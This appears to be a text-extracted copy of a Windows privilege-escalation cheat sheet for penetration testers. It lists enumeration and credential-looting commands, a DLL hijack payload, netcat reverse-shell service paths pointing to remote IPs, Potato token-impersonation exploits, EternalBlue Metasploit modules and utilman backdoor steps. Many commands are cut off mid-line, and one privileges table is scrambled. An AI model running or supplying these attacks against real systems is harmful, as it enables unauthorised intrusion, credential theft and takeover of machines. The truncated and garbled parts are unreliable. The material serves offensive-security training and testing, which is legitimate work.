Windows - Privilege Escalation
Windows - Privilege Escalation
Summary
Tools
Windows Version and Configuration
User Enumeration
Network Enumeration
Antivirus Enumeration
Default Writeable Folders
EoP - Looting for passwords
SAM and SYSTEM files
HiveNightmare
LAPS Settings
Search for file contents
Search for a file with a certain filename
Search the registry for key names and passwords
Passwords in unattend.xml
Wifi passwords
Sticky Notes passwords
Passwords stored in services
Passwords stored in Key Manager
Powershell History
Powershell Transcript
Password in Alternate Data Stream
EoP - Processes Enumeration and Tasks
EoP - Incorrect permissions in services
EoP - Windows Subsystem for Linux (WSL)
EoP - Unquoted Service Paths
EoP - $PATH Interception
EoP - Named Pipes
EoP - Kernel Exploitation
EoP - AlwaysInstallElevated
EoP - Insecure GUI apps
EoP - Evaluating Vulnerable Drivers
EoP - Printers
Universal Printer
Bring Your Own Vulnerability
EoP - Runas
EoP - Abusing Shadow Copies
EoP - From local administrator to NT SYSTEM
EoP - Living Off The Land Binaries and Scripts
EoP - Impersonation Privileges
Restore A Service Account's Privileges
Meterpreter getsystem and alternatives
RottenPotato (Token Impersonation)
Juicy Potato (Abusing the golden privileges)
Rogue Potato (Fake OXID Resolver))
EFSPotato (MS-EFSR EfsRpcOpenFileRaw))
EoP - Privileged File Write
DiagHub
UsoDLLLoader
WerTrigger
WerMgr
EoP - Common Vulnerabilities and Exposures
MS08-067 (NetAPI)
MS10-015 (KiTrap0D)
MS11-080 (adf.sys)
MS15-051 (Client Copy Image)
MS16-032
MS17-010 (Eternal Blue)
CVE-2019-1388
EoP - $PATH Interception
References
Tools
PowerSploit's PowerUp
./windows-exploit-suggester.py --update
./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo win7
windows-privesc-check - Standalone Executable to Check for Simple Privilege Escalation
Vectors on Windows Systems
WindowsExploits - Windows exploits, mostly precompiled. Not being updated.
WindowsEnum - A Powershell Privilege Escalation Enumeration Script.
Seatbelt - A C# project that performs a number of security oriented host-survey "safety
checks" relevant from both offensive and defensive security perspectives.
Powerless - Windows privilege escalation (enumeration) script designed with OSCP labs
(legacy Windows) in mind
JAWS - Just Another Windows (Enum) Script
Architecture
set
Get-ChildItem Env: | ft Key,Value
User Enumeration
Get current username
whoami /priv
whoami /groups
net user
whoami /all
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
net localgroup
Get-LocalGroup | ft Name
nltest /DCLIST:DomainName
nltest /DCNAME:DomainName
nltest /DSGETDC:DomainName
Network Enumeration
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
List the ARP table
arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
netstat -ano
net share
powershell Find-DomainShare -ComputerDomain domain.local
SNMP Configuration
Antivirus Enumeration
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\System32\spool\printers
C:\Windows\System32\spool\servers
C:\Windows\tracing
C:\Windows\Temp
C:\Users\Public
C:\Windows\Tasks
C:\Windows\System32\tasks
C:\Windows\SysWOW64\tasks
C:\Windows\System32\tasks_migrated\microsoft\windows\pls\system
C:\Windows\SysWOW64\tasks\microsoft\windows\pls\system
C:\Windows\debug\wia
C:\Windows\registration\crmlog
C:\Windows\System32\com\dmp
C:\Windows\SysWOW64\com\dmp
C:\Windows\System32\fxstmp
C:\Windows\SysWOW64\fxstmp
HiveNightmare
CVE-2021–36934 allows you to retrieve all registry hives (SAM,SECURITY,SYSTEM) in
Windows 10 and 11 as a non-administrator user
LAPS Settings
Extract HKLM\Software\Policies\Microsoft Services\AdmPwd from Windows Registry.
Passwords in unattend.xml
Location of the unattend.xml files.
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
Display the content of these files with dir /s *sysprep.inf *sysprep.xml *unattended.xml
*unattend.xml *unattend.txt 2>nul .
Example content
<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>
Unattend credentials are stored in base64 and can be decoded manually with base64.
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
Other files
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
%WINDIR%\System32\drivers\etc\hosts
C:\ProgramData\Configs\*
C:\Program Files\Windows PowerShell\*
dir c:*vnc.ini /s /b
dir c:*ultravnc.ini /s /b
Wifi passwords
Find AP SSID
Oneliner method to extract wifi passwords from all the access point.
cls & echo. & for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "
rundll32 keymgr,KRShowKeyMgr
Powershell History
Disable Powershell history: Set-PSReadlineOption -HistorySaveStyle SaveNothing .
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHo
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\Consol
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
Powershell Transcript
C:\Users\<USERNAME>\Documents\PowerShell_transcript.<HOSTNAME>.<RANDOM>.<TIMESTAMP
C:\Transcripts\<DATE>\PowerShell_transcript.<HOSTNAME>.<RANDOM>.<TIMESTAMP>.txt
tasklist /v
net start
sc query
Get-Service
Get-Process
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv
List services
net start
wmic service list brief
tasklist /SVC
Startup tasks
DLL Hijacking
# content of windows_dll.c
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
if (dwReason == DLL_PROCESS_ATTACH) {
system("cmd.exe /k whoami > C:\\Windows\\Temp\\dll.txt");
ExitProcess(0);
}
return TRUE;
}
Note to check file permissions you can use cacls and icacls
You are looking for BUILTIN\Users:(F) (Full access), BUILTIN\Users:(M) (Modify access) or
BUILTIN\Users:(W) (Write-only access) in the output.
SERVICE_NAME: usosvc
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 2 AUTO_START (DELAYED)
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Users\mssql-svc\Desktop\nc.exe 10.10.10.10 4444 -e c
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Update Orchestrator Service
DEPENDENCIES : rpcss
SERVICE_START_NAME : LocalSystem
With root privileges Windows Subsystem for Linux (WSL) allows users to create a bind shell
on any port (no elevation needed). Don't know the root password? No problem just set the
default user to root W/ .exe --default-user root. Now start your bind shell or reverse.
wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
Binary bash.exe can also be found in C:\Windows\WinSxS\amd64_microsoft-windows-
lxssbash_[...]\bash.exe
The Microsoft Windows Unquoted Service Path Enumeration Vulnerability. All Windows services
have a Path to its executable. If that path is unquoted and contains whitespace or other
separators, then the service will attempt to access a resource in the parent path first.
...
[*] Checking for unquoted service paths...
ServiceName : BBSvc
Path : C:\Program Files\Microsoft\Bing Bar\7.1\BBSvc.exe
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -ServiceName 'BBSvc' -Path <HijackPath>
...
# automatic exploit
Invoke-ServiceAbuse -Name [SERVICE_NAME] -Command "..\..\Users\Public\nc.exe 10.
Example
For C:\Program Files\something\legit.exe , Windows will try the following paths first:
C:\Program.exe
C:\Program Files.exe
EoP - $PATH Interception
Requirements:
EXAMPLE:
EoP - AlwaysInstallElevated
$ Get-ItemProperty HKLM\Software\Policies\Microsoft\Windows\Installer
$ Get-ItemProperty HKCU\Software\Policies\Microsoft\Windows\Installer
Metasploit : exploit/windows/local/always_install_elevated
PowerUp.ps1 : Get-RegistryAlwaysInstallElevated , Write-UserAddMSI
Example: "Windows Help and Support" (Windows + F1), search for "command prompt", click on
"Click to open Command Prompt"
Look for vuln drivers loaded, we often don't spend enough time looking at this:
Living Off The Land Drivers is a curated list of Windows drivers used by adversaries to
bypass security controls and carry out attacks. The project helps security professionals stay
informed and mitigate potential threats.
Native binary: DriverQuery.exe
matterpreter/OffensiveCSharp/DriverQuery
EoP - Printers
Universal Printer
Create a Printer
$serverName = 'dc.purple.lab'
$printerName = 'Universal Priv Printer'
$fullprinterName = '\\' + $serverName + '\' + $printerName + ' - ' + $(If ([System.E
Remove-Printer -Name $fullprinterName -ErrorAction SilentlyContinue
Add-Printer -ConnectionName $fullprinterName
PrinterNightmare
cp_server.exe -e ACIDDAMAGE
# Get-Printer
# Set the "Advanced Sharing Settings" -> "Turn off password protected sharing"
cp_client.exe -r 10.0.0.9 -n ACIDDAMAGE -e ACIDDAMAGE
cp_client.exe -l -e ACIDDAMAGE
EoP - Runas
Use the cmdkey to list the stored credentials on the machine.
cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator
Then you can use runas with the /savecred options in order to use the saved credentials.
The following example is calling a remote binary via an SMB share.
The goal of the LOLBAS project is to document every binary, script, and library that can be
used for Living Off The Land techniques.
A LOLBin/Lib/Script must:
Be a Microsoft-signed file, either native to the OS or downloaded from Microsoft. Have extra
"unexpected" functionality. It is not interesting to document intended use cases. Exceptions
are application whitelisting bypasses
Have functionality that would be useful to an APT or red team
Full privileges cheatsheet at https://tinyurl.com/2cv7an8v summary below will only list direct
ways to exploit the privilege to obtain an admin session or read sensitive files.
- May be more in
if you can read
%WINDIR%\MEM
- SeBackupPriv
SeBackup Threat Built-in Read sensitve files (and robocopy) i
commands with robocopy /b helpful when it c
open files.
- Robocopy requ
SeBackup and S
to work with /b p
1. Launch
PowerShell/ISE with
the SeRestore
privilege present. Attack may be de
2. Enable the privilege some AV softwar
with Enable-
SeRestorePrivilege). Alternative meth
SeRestore Admin PowerShell
3. Rename utilman.exe on replacing serv
to utilman.old binaries stored in
4. Rename cmd.exe to "Program Files"
utilman.exe same privilege.
5. Lock the console
and press Win+U
1. takeown.exe /f
"%windir%\system32" Attack may be de
2. icalcs.exe some AV softwar
"%windir%\system32"
Built-in /grant Alternative meth
SeTakeOwnership Admin
commands "%username%":F on replacing serv
3. Rename cmd.exe to binaries stored in
utilman.exe "Program Files"
4. Lock the console same privilege.
and press Win+U
Manipulate tokens to
have local admin
rights included. May
3rd party
SeTcb Admin require
tool
SeImpersonate.
To be verified.
# https://tinyurl.com/24szthec
c:\TOOLS>FullPowers
[+] Started dummy thread with id 9976
[+] Successfully created scheduled task.
[+] Got new token! Privilege count: 7
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.19041.84]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token Enabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeAuditPrivilege Generate security audits Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
meterpreter> getsystem
Tokenvator.exe getsystem cmd.exe
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe
psexec -s -i cmd.exe
python getsystem.py # from https://tinyurl.com/2dcqakre
getuid
getprivs
use incognito
list\_tokens -u
cd c:\temp\
execute -Hc -f ./rot.exe
impersonate\_token "NT AUTHORITY\SYSTEM"
1. Check the privileges of the service account, you should look for SeImpersonate and/or
SeAssignPrimaryToken (Impersonate a client after authentication)
whoami /priv
2. Select a CLSID based on your Windows version, a CLSID is a globally unique identifier that
identifies a COM class object
Windows 7 Enterprise
Windows 8.1 Enterprise
Windows 10 Enterprise
Windows 10 Professional
Windows Server 2008 R2 Enterprise
Windows Server 2012 Datacenter
Windows Server 2016 Standard
# Network redirector / port forwarder to run on your remote machine, must use port 1
socat tcp-listen:135,reuseaddr,fork tcp:10.0.0.3:9999
# RoguePotato without running RogueOxidResolver locally. You should run the RogueOxi
# Use this if you have fw restrictions.
RoguePotato.exe -r 10.0.0.3 -e "C:\windows\system32\cmd.exe"
#RoguePotato all in one with RogueOxidResolver running locally on port 9999 and spec
RoguePotato.exe -r 10.0.0.3 -e "C:\windows\system32\cmd.exe" -l 9999 -c "{6d8ff8e1-7
EFSPotato (MS-EFSR EfsRpcOpenFileRaw)
Binary available at https://tinyurl.com/23dbbqvr
# .NET 4.x
csc EfsPotato.cs
csc /platform:x86 EfsPotato.cs
# .NET 2.0/3.5
C:\Windows\Microsoft.Net\Framework\V3.5\csc.exe EfsPotato.cs
C:\Windows\Microsoft.Net\Framework\V3.5\csc.exe /platform:x86 EfsPotato.cs
JuicyPotatoNG
antonioCoco/JuicyPotatoNG
DiagHub
:warning: Starting with version 1903 and above, DiagHub can no longer be used to load arbitrary
DLLs.
The Microsoft Diagnostics Hub Standard Collector Service (DiagHub) is a service that collects
trace information and is programmatically exposed via DCOM. This DCOM object can be used to
load a DLL into a SYSTEM process, provided that this DLL exists in the C:\Windows\System32
directory.
Exploit
Alternative tools:
https://tinyurl.com/2b7rwrc6
https://tinyurl.com/2dfj95aj
UsoDLLLoader
:warning: 2020-06-06 Update: this trick no longer works on the latest builds of Windows 10
Insider Preview.
An alternative to the DiagHub DLL loading "exploit" found by James Forshaw (a.k.a.
@tiraniddo)
Exploit
1. Build https://tinyurl.com/29rz3v7r
Select Release config and x64 architecure.
Build solution.
DLL .\x64\Release\WindowsCoreDeviceInfo.dll
Loader .\x64\Release\UsoDllLoader.exe.
2. Copy WindowsCoreDeviceInfo.dll to C:\Windows\System32\
3. Use the loader and wait for the shell or run usoclient StartInteractiveScan and
connect to the bind shell on port 1337.
WerTrigger
Exploit Privileged File Writes bugs with Windows Problem Reporting
1. Clone https://tinyurl.com/269v4hov
2. Copy phoneinfo.dll to C:\Windows\System32\
3. Place Report.wer file and WerTrigger.exe in a same directory.
4. Then, run WerTrigger.exe .
5. Enjoy a shell as NT AUTHORITY\SYSTEM
WerMgr
Exploit Privileged Directory Creation Bugs with Windows Error Reporting
nmap -Pn -p445 --open --max-hostgroup 3 --script smb-vuln-ms17–010 <ip_netblock>
auxiliary/
admin/smb/ms17_010_command MS17-010 EternalRomance/EternalSynergy/EternalCh
auxiliary/
scanner/smb/smb_ms17_010 MS17-010 SMB RCE Detection
exploit/
windows/smb/ms17_010_eternalblue MS17-010 EternalBlue SMB Remote Windows Kernel
exploit/
windows/smb/ms17_010_eternalblue_win8 MS17-010 EternalBlue SMB Remote Windows Kernel
exploit/
windows/smb/ms17_010_psexec MS17-010 EternalRomance/EternalSynergy/Eternal
CVE-2019-1388
Exploit : https://tinyurl.com/26vn372z
Requirement:
Windows 7
Windows 10 LTSC 10240
Failing on :
LTSC 2019
1709
1803
References
icacls - Docs Microsoft
Privilege Escalation Windows - Philip Linghammar
Windows elevation of privileges - Guifre Ruiz
The Open Source Windows Privilege Escalation Cheat Sheet by amAK.xyz and @xxByte
Basic Linux Privilege Escalation
Windows Privilege Escalation Fundamentals
TOP–10 ways to boost your privileges in Windows systems - hackmag
The SYSTEM Challenge
Windows Privilege Escalation Guide - absolomb's security blog
Chapter 4 - Windows Post-Exploitation - 2 Nov 2017 - dostoevskylabs
Remediation for Microsoft Windows Unquoted Service Path Enumeration Vulnerability -
September 18th, 2016 - Robert Russell
Pentestlab.blog - WPE-01 - Stored Credentials
Pentestlab.blog - WPE-02 - Windows Kernel
Pentestlab.blog - WPE-03 - DLL Injection
Pentestlab.blog - WPE-04 - Weak Service Permissions
Pentestlab.blog - WPE-05 - DLL Hijacking
Pentestlab.blog - WPE-06 - Hot Potato
Pentestlab.blog - WPE-07 - Group Policy Preferences
Pentestlab.blog - WPE-08 - Unquoted Service Path
Pentestlab.blog - WPE-09 - Always Install Elevated
Pentestlab.blog - WPE-10 - Token Manipulation
Pentestlab.blog - WPE-11 - Secondary Logon Handle
Pentestlab.blog - WPE-12 - Insecure Registry Permissions
Pentestlab.blog - WPE-13 - Intel SYSRET
Alternative methods of becoming SYSTEM - 20th November 2017 - Adam Chester @xpn
Living Off The Land Binaries and Scripts (and now also Libraries)
Common Windows Misconfiguration: Services - 2018-09-23 - @am0nsec
Local Privilege Escalation Workshop - Slides.pdf - @sagishahar
Abusing Diaghub - xct - March 07, 2019
Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege -
James Forshaw, Project Zero - Wednesday, April 18, 2018
Weaponizing Privileged File Writes with the USO Service - Part 2/2 - itm4n - August 19,
2019
Hacking Trick: Environment Variable $Path Interception y Escaladas de Privilegios para
Windows
Abusing SeLoadDriverPrivilege for privilege escalation - 14 JUN 2018 - OSCAR MALLO
Universal Privilege Escalation and Persistence – Printer - AUGUST 2, 2021)
ABUSING ARBITRARY FILE DELETES TO ESCALATE PRIVILEGE AND OTHER GREAT TRICKS
- March 17, 2022 | Simon Zuckerbraun
Bypassing AppLocker by abusing HashInfo - 2022-08-19 - Ian
Giving JuicyPotato a second chance: JuicyPotatoNG - @decoder_it, @splinter_code
IN THE POTATO FAMILY, I WANT THEM ALL - @BlWasp_
Potatoes - Windows Privilege Escalation - Jorge Lajara - November 22, 2020